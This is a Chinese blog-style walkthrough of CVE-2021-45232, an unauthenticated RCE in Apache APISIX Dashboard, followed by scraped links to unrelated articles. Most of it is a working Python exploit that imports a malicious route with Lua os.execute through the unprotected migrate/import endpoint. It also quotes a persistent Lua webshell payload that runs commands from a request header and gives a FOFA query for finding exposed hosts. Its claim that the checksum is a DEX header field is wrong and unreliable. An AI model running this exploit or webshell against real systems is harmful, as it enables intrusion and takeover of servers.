CVE-2021-45232 Apache APISIX 从未授权访问到RCE
00x1漏洞环境
Apache APISIX Dashboard 2.7 - 2.10 版本受到影响
通过git拉取在docker搭建环境
git clone https://github.com/apache/apisix-docker
注意这里需要把yml文件改成2.7版本
然后用docker搭建就可以了
00x2 攻击过程
环境跑起来后成功访问到9000登录界面
这里的未授权访问指的是对下面两个接口没有鉴权处理
/apisix/admin/migrate/export
/apisix/admin/migrate/import
用burp抓个包,访问export接口,可以看到返回了路由信息
这里不光光能返回路由的配置信息,还能import导入路由配置,
首先它的返回路由信息是一个Json,(因为这里的路由配置的script部分是我在复现的时候import的payload)
我们可以在官方文档里看到这些属性的作用
如果我们在后台直接添加带有payload的路由配置,看看它会不会执行命令
直接访问创建的接口emlknW,这里需要访问管理端口9080,不是9000
可以看到成功挂载了 852文件,命令执行成功
那么要如何通过访问import接口来给他导入配置呢?
00x3 漏洞分析
通过参考网上别人的分析,因为是go语言 没学过就不多分析了
后端代码就是未对两个接口访问做鉴权,然后我们可以通过export得到的路由配置
自己构造一个恶意的路由配置,这里命令执行在script属性里面,然后通过构造好的配置import到里面去。
看代码分析知道可以有修改或者新建路由配置来完成。
关键的一点这里传入的配置需要计算文件的checksum,
简答了解一下:
checksum(校验和)是DEX位于文件头部的一个信息,用来判断DEX文件是否损坏或者被篡改,它位于头部的0x08
偏移地址处,占用4个字节,采用小端序存储。
这里给出朋友改的代码:
import random, string, json, zlib, requests """
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce,来替换'cmd'部分来执行命令
""" eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "os.execute('touch /tmp/mytest')",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
} # 将数据进行checksum
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big") def import_apix(url, data):
data = json.dumps(data).encode() # 将数据进行转换为json存储到文件中,后面需要以文件上传
checksum = calc_crc(data) # 进行checksum ,然后添加到数据后面 files = {"file": ("data", data + checksum, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
# proxies=proxies 这里是通过post去发包,走代理proxies
if resp.json().get("code", -1) == 0:
return True
else:
return False """
这里定义的proxies为本地代理,这样运行时候就能用burp抓包了
"""
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"
} # 生成一个随机路径
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str()
print(uri)
eval_config["Routes"][0]["uris"] = ["/" + uri]
eval_config["Routes"][0]["name"] = uri
print(eval_config, end='\n')
if import_apix('http://192.168.255.128:9000', eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")
我们运行抓包看看,后面这个应该就是+上的checksum了,可以看到成功导入了配置
我们在py里输出了随机生成的命名uri
直接去访问该API
回到环境看看,成功RCE了
在github上有大佬写的是带回显的可以执行多次命令的接口配置,可以看看
https://github.com/wuppp/cve-2021-45232-exp#readme
代码关键就是
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
我的理解是 这是通过lua语言写的通过读取请求头带上的cmd: rce,来替换'cmd'部分来执行命令
所以import这种配置成功后,就可以这样执行命令了
不得不说这更加有持久性 evil~
在fofa里面可以这样来搜索,使用该组件的主机
title="Apache APISIX Dashboard"
00x4 修复方案
更新到最新版本,新版本代理做了鉴权处理
参考:
https://www.cnblogs.com/xiaozhi789/articles/15763472.html
CVE-2021-45232 Apache APISIX 从未授权访问到RCE的更多相关文章
- Zookeeper未授权访问
l 漏洞名称: zookeeper未授权访问 l 漏洞影响版本: zookeeper l 漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- WEB中间件--Jboss未授权访问,
1,Jboss未授权访问部署木马 发现存在Jboss默认页面,点进控制页 点击 Jboss.deployment 进入应用部署页面 也可以直接输入此URL进入 http://www.ctfswiki. ...
- zookeeper未授权访问漏洞
1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- ZooKeeper通过ACL修复未授权访问漏洞
默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- 王院生:Apache APISIX 微服务网关极致性能架构解析
2019 年 10 月 27 日,又拍云联合 Apache APISIX 社区举办 API 网关与高性能服务最佳实践丨Open Talk 杭州站活动,Apache APISIX PPMC 成员王院生做 ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
随机推荐
- Oracle存储过程游标for循环怎么写
一.不带参数的游标for循环 首先编写存储过程的整体结构,如下: create or replace procedure test_proc is v_date date; --变量定义 begin ...
- 【Linux】【Basis】CentOS启动流程
1. 基础概念 1.1 Linux系统的组成部分:内核+根文件系统 内核:进程管理.内存管理.网络协议栈.文件系统.驱动程序.安全功能 IPC:In ...
- 如何在子线程中更新UI
一:报错情况 android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that creat ...
- Mysql-5.6 二进制多实例部署
目录 一.简介 二.环境声明 三.程序部署 一.简介 MySQL多实例就是在一台机器上开启多个不同的服务端口(如:3306,3307),运行多个MySQL服务进程,通过不同的socket监听不同的服务 ...
- 使用.NET 6开发TodoList应用(2)——项目结构搭建
为了不影响阅读的体验,我把系列导航放到文章最后了,有需要的小伙伴可以直接通过导航跳转到对应的文章 : P TodoList需求简介 首先明确一下我们即将开发的这个TodoList应用都需要完成什么功能 ...
- MeteoInfo-Java解析与绘图教程(七)_图层添加站点名称或区域名称
MeteoInfo-Java解析与绘图教程(七)_图层添加站点名称或区域名称 在上文说了用自动站的数据经过插值绘制色斑图,这种一般是在geoserver上叠加图片呈现,但遇到后端导出图片,我们又想添加 ...
- CF1438A Specific Tastes of Andre 题解
Content 如果一个序列的和能够被它的长度整除,我们称这个序列是不错的.如果一个序列的所有的非空子序列都是不错的,我们就称这个序列是完美的.现在有 \(t\) 组询问,每组询问给定一个整数 \(n ...
- Data truncation: Truncated incorrect DOUBLE value错误的解决方案
Data truncation: Truncated incorrect DOUBLE value错误的解决方案: 当在修改某条单位记录时,发生了Data truncation: Truncated ...
- 使用.NET 6开发TodoList应用(5.1)——实现Repository模式
需求 经常写CRUD程序的小伙伴们可能都经历过定义很多Repository接口,分别做对应的实现,依赖注入并使用的场景.有的时候会发现,很多分散的XXXXRepository的逻辑都是基本一致的,于是 ...
- JAVA中Map集合遍历
for (Map.Entry<String, String> entry : map.entrySet()) { System.out.println("key= " ...